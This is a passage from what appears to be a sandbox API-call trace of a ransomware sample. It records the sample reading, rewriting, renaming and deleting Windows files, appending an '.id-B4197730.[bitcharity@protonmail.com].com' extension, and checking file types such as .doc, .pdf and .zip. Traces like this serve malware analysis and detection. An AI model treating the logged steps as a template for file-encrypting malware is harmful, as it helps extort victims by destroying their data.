shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0155.989] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=19136) returned 1 [0155.989] CloseHandle (hObject=0x10a4) returned 1 [0155.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0155.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0155.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0155.990] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.990] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0155.991] GetLastError () returned 0x0 [0155.991] ReadFile (in: hFile=0x10a4, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0155.992] WriteFile (in: hFile=0x103c, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0155.993] ReadFile (in: hFile=0x10a4, lpBuffer=0x37be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.993] WriteFile (in: hFile=0x103c, lpBuffer=0x37be020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37be020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1 [0155.993] SetEndOfFile (hFile=0x103c) returned 1 [0155.994] CloseHandle (hObject=0x103c) returned 1 [0156.000] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.000] SetEndOfFile (hFile=0x10a4) returned 1 [0156.001] CloseHandle (hObject=0x10a4) returned 1 [0156.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0156.002] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0156.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.002] lstrlenW (lpString=".doc") returned 4 [0156.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.002] lstrlenW (lpString=".docx") returned 5 [0156.002] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.002] lstrlenW (lpString=".pdf") returned 4 [0156.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.002] lstrlenW (lpString=".xls") returned 4 [0156.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.003] lstrlenW (lpString=".xlsx") returned 5 [0156.003] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.003] lstrlenW (lpString=".ppt") returned 4 [0156.003] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.003] lstrlenW (lpString=".zip") returned 4 [0156.003] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.003] lstrlenW (lpString=".rar") returned 4 [0156.003] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.003] lstrlenW (lpString=".bz2") returned 4 [0156.003] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.003] lstrlenW (lpString=".7z") returned 3 [0156.003] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.003] lstrlenW (lpString=".dbf") returned 4 [0156.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.003] lstrlenW (lpString=".1cd") returned 4 [0156.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.003] lstrlenW (lpString=".jpg") returned 4 [0156.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.004] lstrlenW (lpString=".doc") returned 4 [0156.004] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.004] lstrlenW (lpString=".docx") returned 5 [0156.004] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.004] lstrlenW (lpString=".pdf") returned 4 [0156.004] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.004] lstrlenW (lpString=".xls") returned 4 [0156.004] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.004] lstrlenW (lpString=".xlsx") returned 5 [0156.004] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.004] lstrlenW (lpString=".ppt") returned 4 [0156.004] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.004] lstrlenW (lpString=".zip") returned 4 [0156.004] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.004] lstrlenW (lpString=".rar") returned 4 [0156.004] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.004] lstrlenW (lpString=".bz2") returned 4 [0156.004] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.004] lstrlenW (lpString=".7z") returned 3 [0156.004] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.004] lstrlenW (lpString=".dbf") returned 4 [0156.005] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.005] lstrlenW (lpString=".1cd") returned 4 [0156.005] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0156.005] lstrlenW (lpString=".jpg") returned 4 [0156.005] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.005] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0156.005] lstrlenW (lpString="ApiClient.dll") returned 13 [0156.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0156.007] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=162880) returned 1 [0156.007] CloseHandle (hObject=0x10a4) returned 1 [0156.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0156.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0156.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.008] lstrlenW (lpString=".doc") returned 4 [0156.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.008] lstrlenW (lpString=".docx") returned 5 [0156.008] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0156.008] lstrlenW (lpString=".pdf") returned 4 [0156.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.008] lstrlenW (lpString=".xls") returned 4 [0156.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.008] lstrlenW (lpString=".xlsx") returned 5 [0156.008] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0156.008] lstrlenW (lpString=".ppt") returned 4 [0156.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.008] lstrlenW (lpString=".zip") returned 4 [0156.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.009] lstrlenW (lpString=".rar") returned 4 [0156.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.009] lstrlenW (lpString=".bz2") returned 4 [0156.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.009] lstrlenW (lpString=".7z") returned 3 [0156.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.009] lstrlenW (lpString=".dbf") returned 4 [0156.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.009] lstrlenW (lpString=".1cd") returned 4 [0156.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.009] lstrlenW (lpString=".jpg") returned 4 [0156.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.009] lstrlenW (lpString=".doc") returned 4 [0156.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.009] lstrlenW (lpString=".docx") returned 5 [0156.009] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0156.009] lstrlenW (lpString=".pdf") returned 4 [0156.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.010] lstrlenW (lpString=".xls") returned 4 [0156.010] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.010] lstrlenW (lpString=".xlsx") returned 5 [0156.010] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0156.010] lstrlenW (lpString=".ppt") returned 4 [0156.010] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.010] lstrlenW (lpString=".zip") returned 4 [0156.010] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.010] lstrlenW (lpString=".rar") returned 4 [0156.010] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.010] lstrlenW (lpString=".bz2") returned 4 [0156.010] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.010] lstrlenW (lpString=".7z") returned 3 [0156.010] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.010] lstrlenW (lpString=".dbf") returned 4 [0156.010] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.010] lstrlenW (lpString=".1cd") returned 4 [0156.010] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0156.010] lstrlenW (lpString=".jpg") returned 4 [0156.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.011] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0156.011] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0156.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0156.011] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=656088) returned 1 [0156.011] CloseHandle (hObject=0x10a4) returned 1 [0156.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0156.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0156.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.012] lstrlenW (lpString=".doc") returned 4 [0156.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.012] lstrlenW (lpString=".docx") returned 5 [0156.012] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0156.012] lstrlenW (lpString=".pdf") returned 4 [0156.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.012] lstrlenW (lpString=".xls") returned 4 [0156.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.012] lstrlenW (lpString=".xlsx") returned 5 [0156.013] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0156.013] lstrlenW (lpString=".ppt") returned 4 [0156.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.013] lstrlenW (lpString=".zip") returned 4 [0156.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.013] lstrlenW (lpString=".rar") returned 4 [0156.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.013] lstrlenW (lpString=".bz2") returned 4 [0156.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.013] lstrlenW (lpString=".7z") returned 3 [0156.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.013] lstrlenW (lpString=".dbf") returned 4 [0156.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.013] lstrlenW (lpString=".1cd") returned 4 [0156.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.013] lstrlenW (lpString=".jpg") returned 4 [0156.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.014] lstrlenW (lpString=".doc") returned 4 [0156.014] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.014] lstrlenW (lpString=".docx") returned 5 [0156.014] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0156.014] lstrlenW (lpString=".pdf") returned 4 [0156.014] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.014] lstrlenW (lpString=".xls") returned 4 [0156.014] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.014] lstrlenW (lpString=".xlsx") returned 5 [0156.014] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0156.014] lstrlenW (lpString=".ppt") returned 4 [0156.014] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.014] lstrlenW (lpString=".zip") returned 4 [0156.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.014] lstrlenW (lpString=".rar") returned 4 [0156.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.014] lstrlenW (lpString=".bz2") returned 4 [0156.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.014] lstrlenW (lpString=".7z") returned 3 [0156.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.014] lstrlenW (lpString=".dbf") returned 4 [0156.015] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.015] lstrlenW (lpString=".1cd") returned 4 [0156.015] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0156.015] lstrlenW (lpString=".jpg") returned 4 [0156.015] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.015] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0156.015] lstrlenW (lpString="appvcleaner.exe") returned 15 [0156.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0156.016] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2054872) returned 1 [0156.016] CloseHandle (hObject=0x10a4) returned 1 [0156.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0156.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0156.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0156.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0156.019] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0x0) returned 1 [0156.019] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0156.019] ReadFile (in: hFile=0x10a4, lpBuffer=0x37be058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x37be058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0156.069] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0156.069] ReadFile (hFile=0x10a4, lpBuffer=0x37fe058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0) Thread: id = 854 os_tid = 0x1c08 [0128.629] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x35d0060 [0128.630] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x35e0068 [0128.630] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ca8 [0128.630] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x656210 [0128.630] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647cc0 [0128.630] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x38ca020 [0128.633] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ba0 [0128.633] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647ba0, Size=0x20) returned 0x5e3a28 [0128.633] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647b70 [0128.633] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647b70, Size=0x20) returned 0x5e3848 [0128.633] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.633] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0128.633] Wow64DisableWow64FsRedirection (in: OldValue=0x2d0ff50 | out: OldValue=0x2d0ff50*=0x0) returned 1 [0128.633] lstrlenW (lpString="kernel32.dll") returned 12 [0128.633] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0128.633] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.633] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0128.634] Sleep (dwMilliseconds=0x64) [0128.882] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0128.882] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0128.882] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0129.557] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=144072) returned 1 [0129.557] CloseHandle (hObject=0x1048) returned 1 [0129.557] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0129.557] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.557] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), 